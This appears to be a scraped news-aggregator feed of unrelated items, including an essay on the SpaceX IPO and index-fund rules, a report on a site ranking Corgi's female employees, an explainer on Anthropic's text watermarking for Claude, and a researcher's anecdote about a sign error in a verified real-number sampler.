Original Article

Describe a task in plain English. Deltix runs it on a simulator and tells you if a real user could complete it.

Start free Watch a real run Open beta · iOS today · No credit card

SEE IT IN ACTION

Watch a real run.

Privacy by default

Your source and your build stay on your Mac.

The agent runs locally against your simulator. We never access your source, your build, or your signing identities.

Read more

While a run is in progress the agent acts on what it sees on screen, like any user would. Those screenshots and the run record sit in your account so you can review and replay. Delete anytime, or bring your own model key to route inference traffic off our bill.

Sign up

Free. No credit card. No invite needed. Verify your email and you’re in.

Install the Mac Agent

A small native app. Sign in with the account you just created. That’s the only one-time setup.

Connect a simulator

Pick any iOS Simulator already running on your Mac. The Agent attaches to it and stays out of your way.

Run your first task

Write a task in plain English, like "sign up and send your first message." The agent tries it. You watch it work.

Task

Try once

“Can my user actually do this?”

Ad-hoc. You’re building a new flow and you want to know if it works for a real user, without scheduling a research session. Write the task, watch the agent try, read the screenshot of where it got stuck.

Playbook

Save and replay

“Did we break it?”

Take any successful run and save it as a Playbook. Replay it deterministically on every build, from the dashboard. Pass or fail in seconds.

Experiment

Compare two builds

“Which design wins?”

Run the same task against two builds of your app, side by side. See which one your users can complete and which one breaks, before the design debate goes to A/B testing in production.

Task

“Sign up with email and verify the welcome screen appears.”

Agent exploring

The agent reports each step, what it saw, and what changed.

What’s next

On the way.

In Progress

Physical devices

Run tasks on a real iPhone attached to your Mac.

Next

Android

Same Agent, against an Android emulator.

Next

CLI for CI

Replay Playbooks from GitHub Actions, GitLab, or CircleCI.

Later

Hybrid apps

React Native and Flutter, treated the same as native iOS.

Open beta

Start free.

Run tasks against a simulator on your Mac while we’re in open beta. Bring your own model key or use ours. No credit card. No invite.

Create your account

Already signed up? Log in .

The SpaceX Sham

Portside
portside.org
2026-08-14 21:49:43
The SpaceX Sham barry Fri, 08/14/2026 - 21:49 ...
Original Article

On June 12, SpaceX went public at a valuation of $1.75 trillion, the largest IPO in history, minting Elon Musk into the world’s first trillionaire, at least for a few weeks. The company occupies a legitimate market niche as a private spaceflight vendor for NASA and as a global satellite-based internet services provider through Starlink. But its future value hinges on the ostensibly stratospheric growth potential of Musk’s other venture, xAI, which combines X (formerly Twitter) and Grok (the preternaturally bigoted, deepfake-producing large language model).

Musk merged SpaceX and xAI earlier this year before he took SpaceX public―not just to build data centers in space and to set up a colony on Mars with a million inhabitants, but to employ SpaceX’s fundraising potential to funnel capital into xAI’s increasingly expensive ambitions. Unlike just a year ago, SpaceX is now an AI company. Nearly 80 percent of its predicted $28 trillion total available market is tied to a hypothetical market for AI enterprise services.

Even without xAI tacked on, the company would be unprofitable. And yet, despite the various risk disclosures peppering Musk’s prospectus ―including dry statements explaining that several “anticipated market opportunities” such as space tourism and human augmentation “do not currently exist”―the investment community at large bent over backward to get a piece of SpaceX stock. People wanted in, and badly. The IPO was a mass delusion event of astronomical proportions.

Although SpaceX stock has since fallen far below its IPO price, market behavior in recent weeks proves that the disclosures and the alarm bells were immaterial when there was money to be made on the way up. This latest naked demonstration of irrationality represents a sharp rebuke to the many progressives and consumer advocates who have long argued that corporate transparency and risk disclosure will bring market irrationality to heel, protect Americans from white-collar corruption, and democratize an inegalitarian financial system. The way markets contorted around the SpaceX IPO should put paid to these notions. Rather than be disciplined by the public markets, Musk bent them to his will. And we’re all caught up in it.

Even the most transparent markets will not govern themselves. Democratizing finance means taking aim at Big Tech’s oligarchic control over the economy, not giving them a level playing field.

The volumes of capital involved in the AI boom that is currently buoying xAI are truly immense. But, volume aside, this sector has the same financial building blocks as any other―including the ones that might give people pause, like off-balance-sheet special purpose vehicles designed to offload risk and private credit lenders who don’t often disclose asset performance. Arrangements like these are used throughout the financial system to speed along the development of all sorts of projects. But the fundamental opacity of these financial structures―how they shift risks without disclosing them―offends our sense of moral economy.

In most of my conversations with congressional staffers, community advocates, antitrust lawyers, and journalists (much of which followed from my work at the Center for Public Enterprise), people were as worried about the AI boom’s lack of financial transparency as they were about the sector’s structural unprofitability and the way that hyperscaler tech giants are reshaping our economy. AI makes no money, and its risks are being squirreled away into the financial system? Do the broligarchs have something to hide? Americans smell a rat.

Nowhere is this anxiety about hidden risks and investments that are too good to be true more prevalent than in the debates about private credit , the catch-all term for the gaggle of non-bank lending institutions that originate and trade billions of dollars of loans without supervision by the Federal Reserve. (Many Americans previously encountered private credit as “shadow banks” in the hangover of the Great Recession.) Private credit lenders, such as Blackstone, Apollo, KKR, and Blue Owl, are large and important investors: They take capital from institutional investors like pension funds, insurance companies, and asset managers and provide it to borrowers across the economy. Where the AI boom is concerned, it’s sometimes hard to tell just how much they’ve lent to the tech giants and on what terms. But we do know that when Musk’s xAI was still separate from SpaceX, it arranged for an off-balance-sheet subsidiary to borrow billions from private credit fund manager Apollo to purchase graphics processing units (GPUs) for data centers.

Last fall and early this year, jitters in the AI market and the failure of a few high-profile private lending transactions drew significant media attention to the performance of private credit firms, many of which have taken long and confident positions in the future of AI. Many journalists and analysts myself included ―fretted about the potential exposure that pension funds and retirement accounts had to a market crunch in the AI sector, thanks to their private credit liabilities. Progressive-minded policy analysts , consumer protection watchdogs , market commentators , and Senator Elizabeth Warren all converged on a call for greater transparency and disclosure in the private credit market, tied to a broader vision for the democratization of finance defined by market supervision and information access.

The logic of this recommendation is that open and transparent risk disclosure will prompt investors to change their behavior―either through facilitating consumer advocates’ ability to pressure corporations into more pro-social behavior, or through impelling investors to reallocate away from investments they didn’t realize were so risky, or both. ESG metrics should, by this logic, prompt investors to reallocate capital away from harmful companies; climate risk analysis will prompt bond rating downgrades; and private credit supervision will unveil all the market’s risky and inflated gambles on AI. In an open market, the truth will out. Or so the story goes.

Unfortunately for market transparency advocates, the truth is out―and nobody cares. The record demand for SpaceX’s June 12 IPO immediately made it one of the world’s most valuable companies. Its pre-IPO valuation put its price-to-earnings ratio (a proxy for investors’ expectations for the company’s revenue growth) over four times higher than that of NVIDIA, the leading GPU manufacturer whose revenue has skyrocketed during the AI boom. Upon SpaceX’s big debut, its valuation immediately hurtled past $2 trillion . Never mind that SpaceX is unprofitable or that AI is a cash sink. The first month after the IPO, on the equity side of things, there was little in the way of buyers’ remorse.

Negative coverage of the IPO was limited due to the participation of so many major banks in the IPO process; they don’t want to poison the cash cow they’re milking for underwriting fees. Many of those banks also lent to SpaceX when it was a private company and helped to fund its merger with xAI in preparation for the IPO. These arrangements are not unheard of in the world of investment banking, but, with such large volumes of cash on the line, it’s hard not to argue that lenders shared an interest in leveraging a successful IPO to quickly lift their concentrated exposure to SpaceX off their balance sheets.

Public disclosures did little to temper investors’ enthusiasm for the company. To the contrary, the sheer mass of this IPO, like the gravitational pull of a giant star, has reshaped markets around it in unprecedented ways―most noticeably through changes to index funds’ inclusion rules.

Index providers like the Nasdaq, which track the overall market and various groups of companies for the purpose of providing “thematic” and whole-of-market investment opportunities to interested investors, will re-weight their indices to include public companies that meet their inclusion rules. Passive index funds will buy shares in those companies in line with the index providers’ weights and at market prices―thus providing public companies with predictable demand for their stock issuance that early holders, including many retail and institutional investors, can sell to liquidate their position. In return, the index funds provide market participants with the returns of the overall index, rather than of any individual company.

For all that SpaceX is worth, the IPO only made about 5 percent of the company’s stock available to be traded among shareholders. There remains more privately held stock to be sold into the market as various employees and early private investors reach the end of their “lock-up” periods in the coming weeks and months. (The first of those lock-ups ended on August 6, more than doubling the number of publicly tradable shares and putting the company at about a 12 percent open float.)

SpaceX’s limited public float, combined with its unprofitability and the sheer recency of its IPO, would usually have it failing to meet most criteria for index inclusion. But it was still worth so much and carried so much investor demand that the Nasdaq was prompted to modify their index inclusion rules to ensure SpaceX’s speedy addition. SpaceX no longer needs to wait a year, nor does it need to float much of its shares on public markets, to take its place in the portfolios of some of the biggest index funds. Investors in passive funds that track these indexes now have their portfolios weighted toward SpaceX’s outsize position within them. Moreover, SpaceX’s quick inclusion makes IPO investors less price-sensitive, since they know index funds capitalized by passive investors will be buying shares in bulk in the near-term.

The S&P initially proposed, in line with its peers, to modify its rules to quickly include SpaceX in the S&P 500―the most prestigious index, preferred by the biggest passive index funds―but ultimately declined to modify its criteria to do so. That means BlackRock’s IVV and Vanguard’s VOO, two popular passive index-tracking funds, will for now remain free from SpaceX exposure. But there are many shareholders in other index funds who, despite a potential preference for avoiding a company with such uncertain and overvalued prospects, are now forced to prop it up.

Do the index inclusion rule changes really give passive investors the most “accurate” picture of the stock market? Or are they a rug-pull designed to quickly provide price-insensitive exit liquidity to the early investors of massive companies like SpaceX—and thereby to pass on their risks to others? SpaceX’s sheer size is a point in favor of both perspectives. But one thing that nobody can dispute is that, even though S&P’s late-game retreat shields a good chunk of passive investors from SpaceX (for now), the rest of the “Magnificent Seven” tech giants still represent over 30 percent of the total valuation of the S&P 500. These companies make up such a large share of the stock market and its various tracking indices that any attempt to diversify one’s investment allocations away from them and to avoid over-exposure to tech means to sacrifice returns.

Musk, meanwhile, basking in the world’s interest in his companies, has diverged from IPO precedent by issuing shares of stock that are designed to give shareholders virtually no control over the company. Most stocks issued on public markets come with a common set of corporate governance rights. Larger shareholders, such as institutional investors and index funds, therefore have meaningful sway over the transparency and operation of the companies they’re invested in. But Musk has stripped control from his shareholders and hollowed out the nature of their ownership. The share structure is designed such that he retains total control of the company and can appoint most of the board of directors, regardless of other shareholders’ wishes . SpaceX’s share structure also does not allow public shareholders to bring most kinds of shareholder lawsuits against him, or to amass the voting power to do so in the first place.

It turns out the corporate governance rules that most investors take for granted were never set in stone. In fact, the existence of public SpaceX stock belies Musk’s total control. Three of the country’s largest public pension funds called SpaceX’s governance structure “the most management-favorable governance structure ever brought to the U.S. public markets at this scale.” But it seems like they will invest in spite of their own concerns; their fiduciary duty to pensioners will trump their concerns over SpaceX’s corporate governance.

As a percentage of any of our individual allocations, or of a pension fund’s allocation, SpaceX still will not claim too large a share. But the principle matters: The upshot is that the country’s retail investors, its small-cap retirement savers and pensioners, are all but forced into supporting Musk’s company and, by extension, his dreams.

The potential IPOs for Anthropic and OpenAI, which are expected within the coming year but have not yet been scheduled, are both reportedly targeting IPO valuations above $1 trillion. Like SpaceX, those valuations will immediately put their shares into passive funds tracking the Nasdaq. It is also quite possible that their founders will engineer the same kind of share control that Musk did. So long as the AI investment boom hasn’t crashed by then―you never know!―the results of these enormous IPOs will likely be similar: a mad dash to participate and the perpetuation of the AI investment boom as a consequence of all the liquidity that floods into the sector. In short, the turn to public markets may end up propping up the hype around this quite fragile sector rather than discipling it. Transparency doesn’t temper animal spirits; animals dash into glass doors all the time.

Of course, financial markets still exercise some gravity to pull orbital valuations back to earth. Fermi, a nuclear power and data center developer led by former Texas governor Rick Perry―who promised to name the company’s nuclear reactors after Trump―went public to much fanfare last year, but it has been falling apart ever since. Once valued at $15 billion, the company is now worth maybe just $4 billion , and its CEO was fired to boot. Venture Global, a natural gas exporter, went public last year and similarly flopped .

SpaceX may yet suffer the same fate, as lock-up periods expire, early investors finish selling their positions, and more market analysts and short sellers start questioning the assumptions behind the IPO. SpaceX bonds are already trading poorly . As of August 6, SpaceX stock is down around 20 percent below its IPO price and more than 50 percent from its peak valuation in the days after the IPO. Still, Musk will no doubt find ways to prop up his assets’ value, if not by riding the hype then by fusing himself with the state through increasingly ambitious public-private partnerships. Perhaps he will even arrange for SpaceX to buy Tesla. The events of the past few months suggest that markets will love it before it happens. They will only disapprove after the fact.

Regardless of how its shares fare, the fragility underlying the AI boom means that SpaceX and its peers might collapse anyway. But even if what goes up someday comes down, the ascent of SpaceX and its fellow tech giants is creating incredible amounts of paper wealth in the form of appreciating stock portfolios and creditworthy debt―both of which investors can recycle into more tech startups, data center projects, and venture capitalists’ visions of an AI-powered future. Their investments, collateralized by their wealth and juiced by retail and institutional investors (consensually or otherwise), are already transforming our economy, and it’s hard to argue that such transformations are in our interest.

Haggling over how markets should or shouldn’t behave is almost beside the point when tech oligarchs can use them in both their private and public forms to advance their dystopian visions of the world. The democratization of finance must be achieved by other means than giving the mass of investors the best possible access to information―because it’s clear that the promise of cashing in on a mania jingles louder than a sheaf of S-1 disclosures.

The chief financial scandal of the AI boom is therefore not that the tech companies are cooking their books. While uncertain assumptions about line items like depreciation litter the tech giants’ disclosures, there is no convincing evidence of accounting fraud. The real scandal is how much capital the tech oligarchs have been able to raise on the promise of an automated, even transhumanist, future.

Progressives would do better to advocate single-mindedly for the kind of economy we really want―an egalitarian one, free from oligarchic control over the shape of our shared future―than to couch our distaste for the state of things in accusations of skullduggery. In other words, we must fight these nightmare visions of the future directly and champion the kind of anti-oligarchy and anti-corruption politics that could meaningfully roll back elite control of our economy. That means stronger progressive income taxation, more punitive capital gains taxation, social media regulation, support for public news media, and immediate campaign finance reform.

These reforms are distinct from proposals to tax AI and data centers, which would merely help redistribute and socialize the gains of an industry that continues to grow. Taxing AI would do little to cut down on the influence of Silicon Valley; in fact, it would all but legitimize its dominance. Anti-oligarchy initiatives, on the other hand, have a distinctly more productive effect: They help disempower Silicon Valley elites (and whatever class of dystopian entrepreneurs comes after them) from irrevocably twisting the direction of markets, the investment landscape, and the future of the economy in their interest. The public can instead reinvest its collective wealth into the kind of egalitarian economy we deserve—one that, at a minimum, protects the dignity of education and labor, which tech oligarchs seem so keen on detonating.


Advait Arun is an infrastructure finance and climate policy analyst at the Center for Public Enterprise. He writes about climate, finance, data centers, and politics, and edits the Caravanserai magazine for policy and culture. The views expressed here represent the author’s personal opinions alone and not those of their employer.

Dissent is a magazine of politics and ideas published in print three times a year. Founded by Irving Howe and Lewis Coser in 1954, it quickly established itself as one of America’s leading intellectual journals and a mainstay of the democratic left. Dissent has published articles by Hannah Arendt, Richard Wright, Norman Mailer, A. Philip Randolph, Michael Harrington, Dorothy Day, Bayard Rustin, Czesław Miłosz, Barbara Ehrenreich, Aleksandr Solzhenitsyn, Chinua Achebe, Ellen Willis, Octavio Paz, Martha Nussbaum, Roxane Gay, and many others. Sign up for the Dissent newsletter or subscribe .

Magnitude 7.7 Earthquake – 68 km NNW of Ende, Indonesia

Hacker News
earthquake.usgs.gov
2026-08-14 21:14:05
Comments...
Original Article

The Earthquake Event Page application supports most recent browsers, view supported browsers . Or, try our Real-time Notifications, Feeds, and Web Services .

The Ploopy A+ Trackball Is Here

Hacker News
blog.ploopy.co
2026-08-14 20:55:31
Comments...
Original Article
Timed out getting readerview for https://blog.ploopy.co/the-aplus-is-finally-here-499

NSA and IETF, Part 9

Hacker News
blog.cr.yp.to
2026-08-14 20:54:01
Comments...

Simplifying and Refactoring Introductory Calculus

Hacker News
arxiv.org
2026-08-14 20:15:23
Comments...
Original Article

Bibliographic and Citation Tools

Code, Data and Media Associated with this Article

Demos

Recommenders and Search Tools

arXivLabs: experimental projects with community collaborators

arXivLabs is a framework that allows collaborators to develop and share new arXiv features directly on our website.

Both individuals and organizations that work with arXivLabs have embraced and accepted our values of openness, community, excellence, and user data privacy. arXiv is committed to these values and only works with partners that adhere to them.

Have an idea for a project that will add value for arXiv's community? Learn more about arXivLabs .

Corgi kills short-lived website that ranked its female employees

Hacker News
sf.gazetteer.co
2026-08-14 20:00:55
Comments...
Original Article

A website that allowed users to rank women working at Corgi, an AI insurance company known for its 24-hour cafes and whimsical social media presence, was taken down Thursday after the startup threatened the website’s owner with legal action.

For its three days of existence, CorgiGirls.com displayed photos of Corgi’s female employees in side-by-side comparisons, letting visitors vote on who they thought was more attractive. The website now shows a domain name error.

The website appears to have been set up by Sebastian Mandal , a San Francisco-based startup startup founder who describes himself on LinkedIn as a college dropout and a professional Minecraft player. On Monday evening, Mandal said in a now-deleted tweet that he had purchased the CorgiGirls.com domain, asking his 279 followers, “what should i do with it? have an idea, but it may not be politically correct.”

He then tagged Mark Zuckerberg to ask for his input, presumably as a nod to Facemash, a similar “hot-or-not”-style website that the Meta chief built in 2003 during his sophomore year at Harvard.

Erika Lee, Corgi’s head of brand, told Gazetteer SF the company first became aware of the website on Tuesday when someone sent the link to one of her female colleagues, whose photo was being ranked on the website.

“She was really disturbed,” Lee said. The employee shared it in a company group chat. Beyond the side-by-side comparisons, the website also included a real-time leaderboard. “It was all these people we work with every day, compared to each other based on attractiveness, which is really demeaning.”

Lee said she suspects Mandal used an AI agent to scrape Corgi’s LinkedIn page to gather the photos, which even included female baristas who work at the Corgi Cafe on Claude Lane downtown, and spin up the website so quickly.

Corgi’s legal team swiftly took action, Lee said. On Wednesday, after its legal team had sent Mandal two emails, Lee said the team assumed he had voluntarily taken down the site, which appeared to be down. “It was actually because there were way too many people on it,” Lee said, noting that there was a pop-up on the homepage Thursday morning claiming the site had seen more than 200,000 unique visitors.

A pop-up that appeared on the CorgiGirls homepage on Thursday morning. Photo: Screenshot via CorgiGirls.com

Corgi has captured new attention online in the past month, thanks in part to a handful of its marketers who post frequently about the company’s lighthearted and sometimes absurd stunts to their tens of thousands followers. Most of these marketers are women. Lee said this led some people to believe that the company itself was behind the website, which she emphasized was not the case.

“There are people I haven’t talked to in years texting me about it, like, ‘Is this a marketing tactic from your team?’ But why would it be a marketing tactic from my team? It actually damages our reputation,” she said.

“Corgi was in no way, shape, or form involved in the creation, operation, or publication of the website,” the company said in a statement. “We take the protection of our employees seriously. We will not tolerate anyone using our employees’ names, images, or identities to target, harass, embarrass, or exploit them. We fought to get the website taken down, and it has now been removed.”

Lee said no one at Corgi has any relationship to Mandal. Mandal did not respond to Gazetteer ’s request for comment.

Stay in touch

Sign up for our free newsletter

More Stories

The Phoenix company behind the Giants’ viral ‘Jesus Won’ shirts

By tapping into sports, the brand’s cofounders are bringing their message to the masses and putting another ‘W’ on the board for Christ

Consider the oyster

Oakland’s Lo-Fi Oyster Co. is taking its jazz and oyster fusion event to church in SF tonight

Tyga’s ‘$tarface’ is full of the AI Fenix Flexin used

The hip-slop summer jam continues as the LA rapper’s critically panned album shows signs of AI

Brother, can you spare $5,500?

Oakland author Ishmael Reed is raising funds to mount ’King Ludd’s Revenge,’ a new play featuring Elon Musk, Peter Thiel, and Adolf Hitler

‘Members of the LGBTQ+ community have legitimate reasons to be sensitive about privacy’

After backlash, Badlands and Toad Hall management is ‘pausing’ surveillance of patrons in San Francisco but continues to employ it in Portland and Sacramento

My comment section is static HTML

Lobsters
jva.lol
2026-08-14 19:58:27
Comments...
Original Article

The comment section here is static HTML. Reading costs nobody anything. #

Posting a comment does take a little more. It’s how I keep guard against bots and spammers, etc.

This blog is a Hugo site. It has a comment section. If you view source on any post with comments, you will find them in the HTML, because they are compiled into the page at build time like everything else. There is no widget, no iframe, no tracker, and no third-party script, and loading a post makes no request to any server but this one. The page does carry some JavaScript (the site search, a few small comforts), but the comments never need it: with JavaScript off you can read every comment and post one.

The shape #

The comments live on a small Phoenix server I run, called Popsicle Boat. Each post has a companion thread there; publishing a post makes one API call that creates the thread and writes its URL into the post’s front matter. That URL is the only coupling between the two systems.

At build time, Hugo fetches each thread’s replies.json and renders the replies as plain HTML once per post per build, cached, capped indentation. If the server is unreachable, the build carries on and renders no comments. The comment system cannot break the blog.

Below the replies is a plain HTML form: a textarea and a submit button, POSTing to the boat. No script, no cookie, no request on pageview. The boat walks you through signing in if needed, you confirm, and it sends you back to the post with #just-posted on the URL. A hidden note appears via CSS :target to say your comment is on its way. It is: the boat pings my build hook, and about a minute later the comment is part of the page. One of the small comforts is that it refreshes for you when it lands. A manual refresh does the same.

Why this shape #

Reading is static. Writing is dynamic. That is the whole idea.

A reader costs nothing and depends on nothing. The page they get here is the page I built, comments included. A writer touches the server once, at the moment of writing, which is the point where a server is not just useful, but like a moat: identity, spam defense, notifications. A comment writer is protected, a website owner (like me) is notified when written to.

The durability falls out for free. The comments are in my generated pages, so they stay with the blog no matter what happens to the comment server. Most comment systems get this backwards: the conversation lives on their infrastructure and your page borrows it at read time, every read, forever.

There is no captcha. Spam defense is the boat’s job and stays invisible: a honeypot, time-to-submit checks, rate limits, and the sign-in step itself. The boat is, to put it simply, the guard at the gate.

The honest costs #

Comments lag by a build. About a minute here on this blog.

Commenting requires an account on the boat. That stops some people. I keep it because a signed name is what makes the no-captcha posture possible.

If the boat is down during a build, that build renders the affected posts without new comments until a later build picks them up. I prefer a page that sometimes forgets to a page that sometimes fails.

If you want this #

The API is written up in one page: create a thread, get replies as JSON, point a build hook at your host. Documented at https://www.popsicleboat.com/for-bloggers/api — you mint your own token, shown once, to you. No one else sees it.

Your reply is in the thread. It’ll appear right here in about a minute.

or read the whole thread on Popsicle Boat →

Jane Street suffers $15B hit after meltdown at Situational Awareness

Hacker News
www.ft.com
2026-08-14 19:40:37
Comments...
Original Article

For help please visit help.ft.com . We apologise for any inconvenience.

The following information can help our support team to resolve this issue.

Reason
Challenge
Request ID
a2b3edd68b0ae3e7
Status Code
403

How Anthropic plans to watermark Claude's AI-generated text

Bleeping Computer
www.bleepingcomputer.com
2026-08-14 19:24:17
It could soon become easier to identify AI-generated content, even if it's not the usual "It's Not X, it's Y" type of post you'd come across on LinkedIn and other socials. [...]...
Original Article

AI

It could soon become easier to identify AI-generated content, even if it's not the usual "It's Not X, it's Y" type of post you'd come across on LinkedIn and other socials.

As you may be aware, the EU now requires AI companies serving its market to mark their AI-generated content so it's easier to identify.

Anthropic and several other major AI providers have agreed to comply with the EU's Code of Practice, with Anthropic becoming one of the first companies to share details about how it will implement watermarking across Claude.

image

Anthropic has also confirmed that a regular user won't be able to see the watermark.

According to the company, it has no practical impact on the quality or content of Claude's output, including creativity and readability.

For those unaware, invisible watermarking and provenance systems are already being used for some AI-generated images, and text-based output will now follow a similar concept, although the underlying implementation is different.

While the change is being introduced to comply with the EU AI Act, Anthropic says the watermark will initially be applied to Claude-generated text worldwide.

"We’re applying watermarking globally at launch because we don't yet have a durable way to scope it by region," Anthropic explained in a blog post.

Anthropic says future Claude models will generate watermarked text. Models launched before August 2, 2026, are covered by the EU's transition period, and Anthropic says it is working to add watermarking to those models over the coming months.

Claude's watermark doesn't add hidden characters

Anthropic says its implementation is based on Google DeepMind's SynthID-Text approach and explained that it works during generation, with certain exceptions.

As you may be aware, AI models generate text by repeatedly choosing which token could reasonably come next. Instead of adding characters or modifying the finished response afterward, Claude's watermark changes the source of randomness used when making some of those choices.

"Watermarking uses low-stakes choices like these—which occur many times over a piece of generated text—to leave a pattern in Claude’s responses. That pattern is undetectable to the reader, but is detectable to anyone who has a key that encodes it," Anthropic explained.

"When watermarking is used, choices are still made at random, but the source of the randomness is different. Instead of using an arbitrary random number generator to pick the next word, watermaking uses the key and a few words that come before to settle what word the model should pick."

"That is, the words that Claude picks are still random, but now, one can check the sequence of words and see if it’s consistent with the choices Claude would make if it was using the key. If it is, one can assign a probability that the text was generated by Claude."

I also read the research paper on the topic, and here's an excerpt that explains how generative watermarking works:

Generative watermarking works by carefully modifying the next-token sampling procedure to inject subtle, context-specific modifications into the generated text distribution. Such modifications introduce a statistical signature into the generated text; during the watermark detection phase, the signature can be measured to determine whether the text was indeed generated by the watermarked LLM. A key benefit of the approach is that the detection process does not require performing computationally expensive operations or even access to the underlying LLM (which is often proprietary).

The paper goes in depth and has more examples, but the important part is that Anthropic is not adding a visible marker or hidden characters to Claude's response.

Google paper
Google's research paper explains how watermarking works
Source: Google DeepMind

Instead, when Claude has multiple reasonable choices for what to generate next, the watermarking system uses a secret key and some of the preceding words as part of the randomness used to make that choice.

Those individual choices should look completely normal to a reader, but across a sufficiently long piece of text, they leave behind a statistical pattern.

A detector that has Anthropic's key can examine the sequence of words and determine how consistent it is with the choices Claude would have made while using the watermark, allowing it to estimate the likelihood that Claude was involved in writing the text.

According to Anthropic, internal testing found no impact on creativity, readability, or the content of Claude's responses.

The company also says watermarking requires no additional tokens and has a negligible impact on generation speed.

"Nothing is added to the text and there are no hidden characters," Anthropic noted. "Watermarking doesn’t require extra tokens, and will not be more expensive."

Code and factual answers may carry less watermarking

As I mentioned, there are certain exceptions to watermarking, and they're for good reasons.

For factual statements where only one answer is correct, Anthropic says the watermark does not interfere with the choice.

Likewise, the same principle applies to code, where replacing one term with another could break the output.

"Where an exact output is required—where there isn’t a choice, and something would be factually wrong or a piece of code would break if a different term was chosen—the watermark isn’t applied."

"For example, once the model has written “2 + 2 =”, there is a very clear best choice for the next token (if the model is completing the sum, there isn’t an answer that’s equally as good as “4”; if it’s talking about George Orwell’s Nineteen Eighty-Four , there isn’t an answer that’s equally as good as “5”)," the company noted.

"The “nudge” of the watermark wouldn’t be applied here. For the same reason, code—which in very many cases has to be exact—has generally less watermarking than some other forms of text."

Anthropic notes that watermarking can still be used in parts of code where arbitrary choices exist, such as comments, but says it should have a negligible effect on the actual code produced.

This aligns with Google's SynthID-Text paper, which notes:

There are two primary factors that affect the detection performance of the scoring function. The first is the length of the text x : longer texts contain more watermarking evidence, and so we have more statistical certainty when making a decision. The second is the amount of entropy in the LLM distribution when it generates the watermarked text x . For example, if the LLM distribution is very low entropy, meaning it almost always returns the exact same response to the given prompt, then Tournament sampling cannot choose tokens that score more highly under the g functions. In short, like other generative watermarks, Tournament sampling performs better when there is more entropy in the LLM distribution, and is less effective when there is less entropy.

It is also worth noting that light proofreading of human-written text may leave too little Claude-generated material for reliable detection.

Anthropic says the watermark only applies to words Claude actually chooses, so a few grammar or punctuation changes might not provide enough evidence.

Anthropic says a translation produced by Claude carries a watermark because Claude chooses every word in the translated output.

Anthropic is building an API to detect Claude watermarks

It turns out that there'll be an easier way to detect the watermarks, as Anthropic plans to offer a watermark detection API.

The API will be able to estimate the likelihood that Claude was involved in writing a piece of text, but Anthropic stresses that this is not the same as proving who wrote it.

A Claude watermark also cannot identify whether the text was written by another AI model, since other providers may use different watermarking methods and different keys.

"A watermark can only determine that Claude was likely involved with the content at some point. It cannot distinguish “Claude wrote this” from “Claude heavily edited this.”

"Light editing probably won’t remove the watermark completely; a complete rewrite where every word is replaced will."

Detection also becomes less reliable with small samples because there are fewer word choices for the detector to analyze.

For generated PNG, JPG, and SVG files, Anthropic is taking a different approach.

Claude will attach cryptographically signed C2PA provenance metadata indicating that the file was created or processed with Claude, rather than modifying the file itself with an embedded watermark.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

The case for overhauling American science

Hacker News
www.economist.com
2026-08-14 19:11:34
Comments...

An Anecdote Against Slop Artifacts

Lobsters
www.markusde.ca
2026-08-14 18:51:27
Comments...
Original Article

This is a cautionary tale.

Act I

My latest paper “Verifying Exact Samplers for Continuous Distributions with a Discrete Program Logic” involved quite a lot of proof work. In that paper we showed how you can use program logic techniques to prove stuff about a particular implementation of real numbers (lazy bitstreams), and we formally verified it using the Iris framework in Rocq.

The core “program logic” nugget at the heart of this paper is really simple and elegant; of course, this is because Joe went “wolf mode” and cooked this part of the project over a single weekend. My main contribution to the paper was exploring how far this trick could get us, in the end scaling all the way up to verified implementations of cool and counterintuitive sampling algorithms.

In particular, I spent a couple months hacking on this idea, and in the process, went completely insane. Through tears I verified the existence of, and absolute convergence of, and commutation of, ten thousand different Riemann integrals in Rocq, working around the scant and inconsistent support for this in our analysis libraries. I was not a heavy user of AI at the time–this mental torture was sourced organically. As an effect, I forgot the feeling of joy, but I knew pretty much every line of this repository inside and out.

Act II

Because of our weird representation of real numbers, our adequacy theorem (the main metatheorem relevant for correctness of program logics) had to be stated in a somewhat nonstandard way. The statement is more or less as follows:

Theorem Adequacy .

  • Let e be a program, and mu be a proper distribution over R.
  • Let P/2^Q be any dyadic rational number.
  • Suppose you prove HasDistribution(e, mu) (the main “judgment” of our logic).
  • Suppose that IsLessThanDyadic(e, P/2^Q) terminates with probability 1.

Then, the probability that IsLessThanDyadic(e, P/2^Q) returns true is equal to mu(P/2^Q)

All of the weirdness has to do with IsLessThanDyadic , a necessary layer for simulating real numbers in a language that doesn’t have them. The program IsLessThanDyadic works by iteratively comparing approximations of the real number returned by e against approximations of P/2^Q . For example, if P/2^Q is the dyadic binary number b0.110111... , the program will iteratively try to compare increasingly finer approximations of e against it, until the first comparison that decides which side that e lands on:

  • b0.0 < e < b0.1 ?
  • b0.10 < e < b0.11 ?
  • b0.110 < e < b0.111 ?
  • b0.1100 < e < b0.1101 ?
  • and on and on

Of course, when e is randomly sampled from a sufficiently nice probability distribution like the Gaussian, the chances that exactly equals P/2^Q is zero, so a simple inductive argument justifies that the obvious implementation of IsLessThanDyadic really will terminate with probability 1 as required. And it’s easy to justify to yourself (and inside our logic) that this process will output true if e < P/2^Q and false if if P/2^Q < e . By appealing to some elementary measure theory, the fact that we know IsLessThanDyadic(e, P/2^Q) for every dyadic number P/2^Q is enough to characterize the cumulative density function of e over the entire real line, and so the proofs we carry out inside our logic are the real stuff.

Our final artifact includes random sampling algorithms for the real-valued, honest-to-god Gaussian and Laplace distributions, and a library of verified arithmetic complete enough to fill an unverified hole in prior work. At the time we submitted I was super proud of this, especially given how much work I’d put in to making every little detail of the math work out just right.

The reviewers agreed it was cool, and it was accepted. Yay!

Act III

While our adequacy theorem is nice, that fourth bullet point is sort of weird, and we highlighted in our paper that a separate tool such as Total Eris would have no issue demonstrating that IsLessThanDyadic(e, P/2^Q) terminates with probability 1 in Rocq. Come rebuttal time we decided to actually sit down and do it, at least for the uniform sampler over [0,1] . So there I was, sitting in a hotel room in Providence, hacking away on a Total Eris proof when I realized

Act FUckfuckfuckfuckfuckfu

Our implementation of IsLessThanDyadic was NOT comparing increasingly more precise approximations of P/2^Q . Due to a sign error in our code, it was checking the outcome of e against increasingly coarser approximations of our dyadic:

  • 0 < e < 1
  • 0 < e < 2
  • 0 < e < 4
  • 0 < e < 8
  • And on and on forever, haha, uh oh, I’m in danger

So, worse than being unprovable, the program actually did not terminate!

